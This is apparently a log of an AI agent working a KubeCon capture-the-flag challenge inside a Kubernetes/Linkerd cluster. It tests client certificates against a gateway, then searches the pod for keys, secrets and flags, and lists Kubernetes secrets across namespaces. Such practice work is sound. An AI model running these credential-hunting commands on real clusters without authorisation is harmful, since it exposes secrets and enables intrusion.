[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== HTTP1.1 WITH CERT ==="
[?2004l=== HTTP1.1 WITH CERT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c..key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== TLSv1.3 ==="
[?2004l=== TLSv1.3 ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crtt --key /tmp/c.key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.# Verify cert/key locally openssl x509 -in /tmp/client.crt -text -noout 2>&1 | head -15 echo "===" openssl rsa -in /tmp/client.key -check -noout 2>&1
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
18:e2:0b:24:d6:3e:9a:f8:41:03:c2:db:6c:ed:e5:f3:27:7e:6e:2a
Signature Algorithm: sha256WithRSAEncryption
Issuer: O = Linkerd-CTF, CN = Linkerd-CTF
Validity
Not Before: Feb 18 08:58:35 2026 GMT
Not After : Feb 16 08:58:35 2036 GMT
Subject: CN = LinkerdClientUser
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
===
RSA key not ok
40D79F39737D0000:error:02000080:rsa routines:rsa_validate_keypair_multiprime:p not prime:../crypto/rsa/rsa_chk.c:70:
40D79F39737D0000:error:0200007F:rsa routines:rsa_validate_keypair_multiprime:n does not equal p q:../crypto/rsa/rsa_chk.c:105:
40D79F39737D0000:error:0200007B:rsa routines:rsa_validate_keypair_multiprime:d e not congruent to 1:../crypto/rsa/rsa_chk.c:157:
40D79F39737D0000:error:0200007C:rsa routines:rsa_validate_keypair_multiprime:dmp1 not congruent to d:../crypto/rsa/rsa_chk.c:172:
40D79F39737D0000:error:0200007E:rsa routines:rsa_validate_keypair_multiprime:iqmp not inverse of q:../crypto/rsa/rsa_chk.c:196:The private key is invalid ("p not prime"). The cert in the CTP annotations is valid but the key is corrupted/fake. The challenge hint says to "dig around your environment for the right keys." Let me search the pod environment.
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== ENV ===" env | sort echo "=== FILESYSTEM ===" find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*cert*" -o -name "*secret*" -o -name "*flag*" 2>/dev/null | grep -v proc | grep -v sys echo "=== MOUNTED VOLUMES ===" mount | grep -v cgroup | grep -v proc | grep -v sys | grep -v tmpfs echo "=== HOME ===" ls -laR /root/ /home/ 2>/dev/null echo "=== SA TOKEN ===" ls -la /var/run/secrets/ 2>/dev/null echo "=== CHECK SECRETS ===" kubectl get secrets -n default 2>&1 kubectl get secrets -n backend 2>&1 kubectl get secrets -n production 2>&1 kubectl get secrets -n supersecret 2>&1 exit SSHEOF
<persisted-output>
Output too large (46.4KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt
Preview (first 2KB):
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== ENV ==="
env | sort
echo "=== FILESYSTEM ==="
...
</persisted-output>{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
"offset": 60,
"limit": 200
} 60→[?2004l=== ENV ===
61→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# env | sort
62→[?2004lDEBIAN_FRONTEND=noninteractive
63→HOME=/root
64→HOSTNAME=jumppod-cd5dfbd7-m4b2w
65→KUBERNETES_PORT=tcp://10.96.0.1:443
66→KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
67→KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
68→KUBERNETES_PORT_443_TCP_PORT=443
69→KUBERNETES_PORT_443_TCP_PROTO=tcp
70→KUBERNETES_SERVICE_HOST=10.96.0.1
71→KUBERNETES_SERVICE_PORT=443
72→KUBERNETES_SERVICE_PORT_HTTPS=443
73→LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
74→PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
75→PWD=/root
76→SHLVL=0
77→TERM=xterm
78→_=/usr/bin/env
79→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== FILESYSTEM ==="
80→[?2004l=== FILESYSTEM ===
81→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find / -name "*.key" -o -name "*.pem" -o -name "*..crt" -o -name "*cert*" -o -name "*secret*" -o -name "*flag*" 2>/dev/null | grep -v proc | grep -v sys
82→[?2004l/usr/lib/ssl/certs
83→/usr/share/doc/ca-certificates
84→/usr/share/doc/ca-certificates/examples/ca-certificates-local
85→/usr/share/ca-certificates
86→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
87→/usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
88→/usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
89→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
90→/usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt
91→/usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
92→/usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
93→/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
94→/usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt
95→/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
96→/usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
97→/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
98→/usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt
99→/usr/share/ca-certificates/mozilla/GTS_Root_R2.crt
100→/usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
101→/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
102→/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
103→/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
104→/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt
105→/usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt
106→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
107→/usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
108→/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt
109→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-02.crt
110→/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
111→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
112→/usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt
113→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
114→/usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
115→/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt
116→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
117→/usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt
118→/usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
119→/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt
120→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt
121→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
122→/usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt
123→/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt
124→/usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
125→/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
126→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
127→/usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt
128→/usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt
129→/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
130→/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt
131→/usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
132→/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt
133→/usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
134→/usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
135→/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
136→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
137→/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
138→/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
139→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
140→/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
141→/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt
142→/usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt
143→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt
144→/usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt
145→/usr/share/ca-certificates/mozilla/GTS_Root_R3.crt
146→/usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
147→/usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
148→/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
149→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-01.crt
150→/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
151→/usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt
152→/usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
153→/usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
154→/usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt
155→/usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt
156→/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
157→/usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt
158→/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt
159→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
160→/usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt
161→/usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
162→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
163→/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt
164→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G4.crt
165→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
166→/usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
167→/usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt
168→/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
169→/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt
170→/usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
171→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
172→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
173→/usr/share/ca-certificates/mozilla/Izenpe.com.crt
174→/usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
175→/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
176→/usr/share/ca-certificates/mozilla/GTS_Root_R4.crt
177→/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
178→/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
179→/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
180→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
181→/usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt
182→/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
183→/usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
184→/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
185→/usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
186→/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
187→/usr/share/ca-certificates/mozilla/Security_Communication_RootCA3.crt
188→/usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt
189→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-01.crt
190→/usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt
191→/usr/share/ca-certificates/mozilla/Certigna.crt
192→/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt
193→/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
194→/usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt
195→/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt
196→/usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
197→/usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt
198→/usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt
199→/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
200→/usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt
201→/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
202→/usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
203→/usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt
204→/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
205→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-02.crt
206→/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
207→/usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt
208→/usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
209→/usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
210→/usr/share/ca-certificates/mozilla/GTS_Root_R1.crt
211→/usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt
212→/usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt
213→/usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
214→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
215→/usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt
216→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt
217→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
218→/usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
219→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
220→/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt
221→/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt
222→/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt
223→/usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt
224→/usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt
225→/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
226→/usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
227→/usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt
228→/usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt
229→/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
230→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt
231→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
232→/usr/local/share/ca-certificates
233→/usr/sbin/update-ca-certificates
234→/root/.kube/cache/discovery/10.96.0.1_443/certificates.k8s.io
235→/tmp/client.key
236→/tmp/client.crt
237→/tmp/c.crt
238→/tmp/c.key
239→/var/lib/dpkg/triggers/update-ca-certificates-fresh
240→/var/lib/dpkg/triggers/update-ca-certificates
241→/var/lib/dpkg/info/ca-certificates.templates
242→/var/lib/dpkg/info/ca-certificates.triggers
243→/var/lib/dpkg/info/ca-certificates.config
244→/var/lib/dpkg/info/ca-certificates.postrm
245→/var/lib/dpkg/info/ca-certificates.md5sums
246→/var/lib/dpkg/info/ca-certificates.list
247→/var/lib/dpkg/info/ca-certificates.postinst
248→/run/secrets
249→/run/secrets/kubernetes.io/serviceaccount/ca.crt
250→/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/ca.crt
251→/etc/ca-certificates.conf
252→/etc/ca-certificates
253→/etc/ssl/certs
254→/etc/ssl/certs/CFCA_EV_ROOT.pem
255→/etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem
256→/etc/ssl/certs/Security_Communication_RootCA3.pem
257→/etc/ssl/certs/Certigna_Root_CA.pem
258→/etc/ssl/certs/Certum_EC-384_CA.pem
259→/etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
"offset": 280,
"limit": 100
}280→/etc/ssl/certs/GTS_Root_R1.pem 281→/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem 282→/etc/ssl/certs/XRamp_Global_CA_Root.pem 283→/etc/ssl/certs/Baltimore_CyberTrust_Root.pem 284→/etc/ssl/certs/HiPKI_Root_CA_-_G1.pem 285→/etc/ssl/certs/DigiCert_Global_Root_CA.pem 286→/etc/ssl/certs/Buypass_Class_2_Root_CA.pem 287→/etc/ssl/certs/ca-certificates.crt 288→/etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem 289→/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-02.pem 290→/etc/ssl/certs/Certum_Trusted_Network_CA.pem 291→/etc/ssl/certs/Atos_TrustedRoot_2011.pem 292→/etc/ssl/certs/Amazon_Root_CA_4.pem 293→/etc/ssl/certs/Hongkong_Post_Root_CA_3.pem 294→/etc/ssl/certs/Secure_Global_CA.pem 295→/etc/ssl/certs/AffirmTrust_Commercial.pem 296→/etc/ssl/certs/TrustAsia_Global_Root_CA_G4.pem 297→/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem 298→/etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem 299→/etc/ssl/certs/Certainly_Root_E1.pem 300→/etc/ssl/certs/e-Szigno_Root_CA_2017.pem 301→/etc/ssl/certs/certSIGN_Root_CA_G2.pem 302→/etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem 303→/etc/ssl/certs/emSign_ECC_Root_CA_-_G3.pem 304→/etc/ssl/certs/DigiCert_Global_Root_G3.pem 305→/etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem 306→/etc/ssl/certs/SSL.com_TLS_RSA_Root_CA_2022.pem 307→/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem 308→/etc/ssl/certs/Microsoft_RSA_Root_Certificate_Authority_2017.pem 309→/etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem 310→/etc/ssl/certs/SZAFIR_ROOT_CA2.pem 311→/etc/ssl/certs/UCA_Extended_Validation_Root.pem 312→/etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem 313→/etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem 314→/etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem 315→/etc/ssl/certs/TunTrust_Root_CA.pem 316→/etc/ssl/certs/Certum_Trusted_Network_CA_2.pem 317→/etc/ssl/certs/Starfield_Class_2_CA.pem 